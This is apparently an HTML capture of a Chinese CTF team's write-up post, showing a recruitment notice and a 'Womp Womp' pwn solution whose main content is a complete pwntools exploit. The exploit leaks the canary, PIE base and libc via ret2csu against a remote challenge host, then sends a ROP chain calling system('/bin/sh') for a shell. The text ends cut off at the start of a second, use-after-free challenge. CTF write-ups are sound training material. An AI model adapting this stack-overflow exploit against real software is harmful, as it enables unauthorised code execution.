  <p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;visibility: visible;" data-pm-slice="0 0 []"><blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 10px 10px 10px 20px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;outline: 0px;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030515" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.5092592592592593" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=282584ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2OZZIs2rGeoHF4s6fx1ibBtCvncjzQ8DhaNKiaUUmUeFgZql0AUKbDpwLTZhk1Od8VRVO9Foic5azBzVtj7BvKGgRt8iaH5lugATmo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Pwn:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Womp Womp</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">前两次泄露出canary+pie，然后ret2csu泄露地址确定版本</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030500" data-type="png" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-ratio="0.3435185185185185" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e502f687&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2OuGIcFO7LicE2m0ImU7Ro8OVLAc9o1wviaYTjaf0ibRwnASDvicKGD00AawWTJZhac3DjY03D7cxzg6ToZibckGXHrrHsJPSeHcHJ4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">前两次write也可以泄露出libc地址，但远程和本地不一样，老老实实打csu</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf="">*</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> struct </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> pack</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ctypes</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyabx-vg2tn3" style="color: #576B95 !important;" data-topic="1">#from</a> LibcSearcher import *</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> ae64 </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> AE64</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">bug</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span leaf="">        gdb.attach(p)</span><br/><span leaf="">        pause()</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">s</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><br/><span leaf="">        p.send(a)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sa</span></span><span style="line-height: 26px;"><span leaf="">(a,b)</span></span><span leaf="">:</span></span><br/><span leaf="">        p.sendafter(a,b)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sl</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><br/><span leaf="">        p.sendline(a)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sla</span></span><span style="line-height: 26px;"><span leaf="">(a,b)</span></span><span leaf="">:</span></span><br/><span leaf="">        p.sendlineafter(a,b)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">r</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><br/><span leaf="">        p.recv(a)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-vp6szk" style="color: #576B95 !important;" data-topic="1">#def</a> pr(a):</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-rgsny6" style="color: #576B95 !important;" data-topic="1">#print</a>(p.recv(a))</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rl</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> p.recvuntil(a)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">inter</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span leaf="">        p.interactive()</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr</span></span><span style="line-height: 26px;"><span leaf="">(size)</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u64(p.recv(size).ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">))</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr64</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u64(p.recvuntil(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\x7f&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-6</span></span><span leaf="">:].ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">))</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr32</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u32(p.recvuntil(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\xf7&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-4</span></span><span leaf="">:])</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_sb</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;system&#39;</span></span><span leaf="">],libc_base+libc.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;/bin/sh\x00&#34;</span></span><span leaf="">).__next__()</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_hook</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__malloc_hook&#39;</span></span><span leaf="">],libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__free_hook&#39;</span></span><span leaf="">]</span><br/><span leaf="">li = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x : print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[01;38;5;214m&#39;</span></span><span leaf=""> + x + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[0m&#39;</span></span><span leaf="">)</span><br/><span leaf="">ll = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x : print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[01;38;5;1m&#39;</span></span><span leaf=""> + x + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[0m&#39;</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-5j1hcj" style="color: #576B95 !important;" data-topic="1">#context</a>(os=&#39;linux&#39;,arch=&#39;i386&#39;,log_level=&#39;debug&#39;)   </span></span><br/><span leaf="">context(os=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;linux&#39;</span></span><span leaf="">,arch=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;amd64&#39;</span></span><span leaf="">,log_level=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;debug&#39;</span></span><span leaf="">)</span><br/><span leaf="">libc=ELF(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;./libc6_2.39-0ubuntu8.6_amd64.so&#39;</span></span><span leaf="">)   </span><br/><span leaf="">elf=ELF(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;./challenge&#39;</span></span><span leaf="">)</span><br/><span leaf="">p=remote(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;chall.ehax.in&#39;</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1337</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-vislkb" style="color: #576B95 !important;" data-topic="1">#p</a> = process(&#39;./challenge&#39;)</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;&#39;</span><br/><span leaf="">rl(&#34;Input log entry: &#34;)</span><br/><span leaf="">pay1=cyclic(0x20)</span><br/><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-r4v5n7" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span><br/><span leaf="">s(pay1)</span><br/><span leaf="">rl(&#34;[LOG] Entry received: &#34;)</span><br/><span leaf="">p.recv(0x20+8)</span><br/><span leaf="">canary=get_addr(8)</span><br/><span leaf="">li(hex(canary))</span><br/><span leaf="">&#39;&#39;&#39;</span></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Input log entry: &#34;</span></span><span leaf="">)</span><br/><span leaf="">pay1=cyclic(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-ytrb1p" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span></span><br/><span leaf="">s(pay1)</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[LOG] Entry received: &#34;</span></span><span leaf="">)</span><br/><span leaf="">p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><br/><span leaf="">canary=get_addr(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><br/><span leaf="">li(hex(canary))</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Input processing note: &#34;</span></span><span leaf="">)</span><br/><span leaf="">pay2=cyclic(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">)</span><br/><span leaf="">s(pay2)</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[PROC] Processing: &#34;</span></span><span leaf="">)</span><br/><span leaf="">p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">)</span><br/><span leaf="">pie=get_addr(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-0x980</span></span><br/><span leaf="">li(hex(pie))</span><br/><span leaf="">csu1=pie+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC9A</span></span><br/><span leaf="">csu2=pie+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC80</span></span><br/><span leaf="">main=pie+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xB76</span></span><br/><span leaf="">write=pie+elf.got[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;write&#39;</span></span><span leaf="">]</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Send final payload: &#34;</span></span><span leaf="">)</span><br/><span leaf="">payload=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">)+p64(canary)*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">+p64(csu1)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)+p64(write)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)+p64(write)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)+p64(csu2)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">+p64(main)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-fzdyps" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span></span><br/><span leaf="">s(payload)</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[VULN] Done.\n&#34;</span></span><span leaf="">)</span><br/><span leaf="">libc_base=get_addr(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)-libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;write&#39;</span></span><span leaf="">]</span><br/><span leaf="">li(hex(libc_base))</span><br/><span leaf="">system,bin_sh=get_sb()</span><br/><span leaf="">rdi = libc_base+libc.search(asm(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;pop rdi\nret&#34;</span></span><span leaf="">)).__next__()</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Input log entry: &#34;</span></span><span leaf="">)</span><br/><span leaf="">pay1=cyclic(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-csv48b" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span></span><br/><span leaf="">s(pay1)</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[LOG] Entry received: &#34;</span></span><span leaf="">)</span><br/><span leaf="">p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><br/><span leaf="">canary=get_addr(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><br/><span leaf="">li(hex(canary))</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Input processing note: &#34;</span></span><span leaf="">)</span><br/><span leaf="">pay2=cyclic(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">)</span><br/><span leaf="">s(pay2)</span><br/><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[PROC] Processing: &#34;</span></span><span leaf="">)</span><br/><span leaf="">p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">)</span><br/><span leaf="">pie=get_addr(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-0x980</span></span><br/><span leaf="">li(hex(pie))</span><br/><span leaf="">payload=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">)+p64(canary)*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">+p64(rdi)+p64(bin_sh)+p64(rdi+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)+p64(system)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-2n7tfb" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span></span><br/><span leaf="">s(payload)</span><br/><span leaf="">inter()        </span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">SarcAsm</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Slice Use-After-Free + Double 